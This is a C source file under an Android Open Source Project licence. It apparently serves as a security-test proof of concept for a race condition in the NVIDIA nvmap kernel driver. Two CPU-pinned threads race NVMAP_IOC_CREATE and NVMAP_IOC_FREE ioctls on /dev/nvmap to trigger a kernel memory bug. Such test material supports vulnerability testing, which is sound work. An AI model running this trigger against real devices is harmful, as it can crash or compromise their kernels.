1 /*
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #define _GNU_SOURCE
17 
18 #include <stdlib.h>
19 #include <errno.h>
20 #include <unistd.h>
21 #include <stdio.h>
22 #include <dirent.h>
23 #include <string.h>
24 #include <sys/stat.h>
25 #include <sys/ioctl.h>
26 #include <stdio.h>
27 #include <string.h>
28 #include <dlfcn.h>
29 #include <sys/time.h>
30 #include <sys/mman.h>
31 #include <sys/syscall.h>
32 #include <sys/resource.h>
33 #include <fcntl.h>
34 #include <pthread.h>
35 #include <unistd.h>
36 #include <sched.h>
37 
38 
39 struct nvmap_handle_param {
40 	__u32 handle;		/* nvmap handle */
41 	__u32 param;		/* size/align/base/heap etc. */
42 	unsigned long result;	/* returns requested info*/
43 };
44 
45 struct nvmap_create_handle {
46 	union {
47 		__u32 id;	/* FromId */
48 		__u32 size;	/* CreateHandle */
49 		__s32 fd;	/* DmaBufFd or FromFd */
50 	};
51 	__u32 handle;		/* returns nvmap handle */
52 };
53 
54 #define NVMAP_IOC_MAGIC 'N'
55 #define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
56 #define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
57 #define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
58 #define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
59 #define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
60 
61 int g_fd = -1;
62 static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
63 static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
64 struct nvmap_create_handle* g_allocation = NULL;
65 
open_driver()66 int open_driver() {
67     char* dev_path = "/dev/nvmap";
68     g_fd = open(dev_path, O_RDWR);
69     if (g_fd < 0) {
70         printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
71     } else {
72         printf("[*] open file(%s) succ!\n", dev_path);
73     }
74     return g_fd;
75 }
76 
trigger_nvmap_create()77 void trigger_nvmap_create() {
78     ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
79     //printf("[*] NVMAP_IOC_CREATE, fd(%d), last error = %d\n", g_allocation->handle, errno);
80 }
81 
trigger_nvmap_free()82 void trigger_nvmap_free() {
83     static int data = 1024;
84     ioctl(g_fd, NVMAP_IOC_FREE, data);
85     //printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
86 }
87 
setup_privi_and_affinity(int privi,unsigned long cpu_mask)88 void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
89     setpriority(PRIO_PROCESS, gettid(), privi);
90     printf("[*] setpriority(%d) errno = %d\n", privi, errno);
91 
92     /* bind process to a CPU*/
93     if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
94         printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
95     }
96 }
97 
prepare_data()98 void prepare_data() {
99     void* data = calloc(1, 0x1000);
100 
101     g_allocation = (struct nvmap_create_handle*)data;
102     g_allocation->size = 1024;
103 
104     mprotect(data, 0x1000, PROT_READ);
105     printf("[*] mprotect, error = %d\n", errno);
106 }
107 static int init = 0;
race_thread(void * arg)108 void* race_thread(void* arg) {
109     setup_privi_and_affinity(0, 2);
110 
111     int i;
112     while (1) {
113         if (init == 0) {
114             pthread_mutex_lock(&mutex);
115             pthread_cond_wait(&cond, &mutex);
116             pthread_mutex_unlock(&mutex);
117             init = 1;
118         }
119         trigger_nvmap_free();
120     }
121 }
122 
main(int argc,char ** argv)123 int main(int argc, char**argv) {
124     setup_privi_and_affinity(0, 1);
125     if (open_driver() < 0) {
126         return -1;
127     }
128     prepare_data();
129     pthread_t tid;
130     pthread_create(&tid, NULL, race_thread, NULL);
131     sleep(1);
132     while (1) {
133         if (init == 0)
134             pthread_cond_signal(&cond);
135         trigger_nvmap_create();
136     }
137     return 0;
138 }
139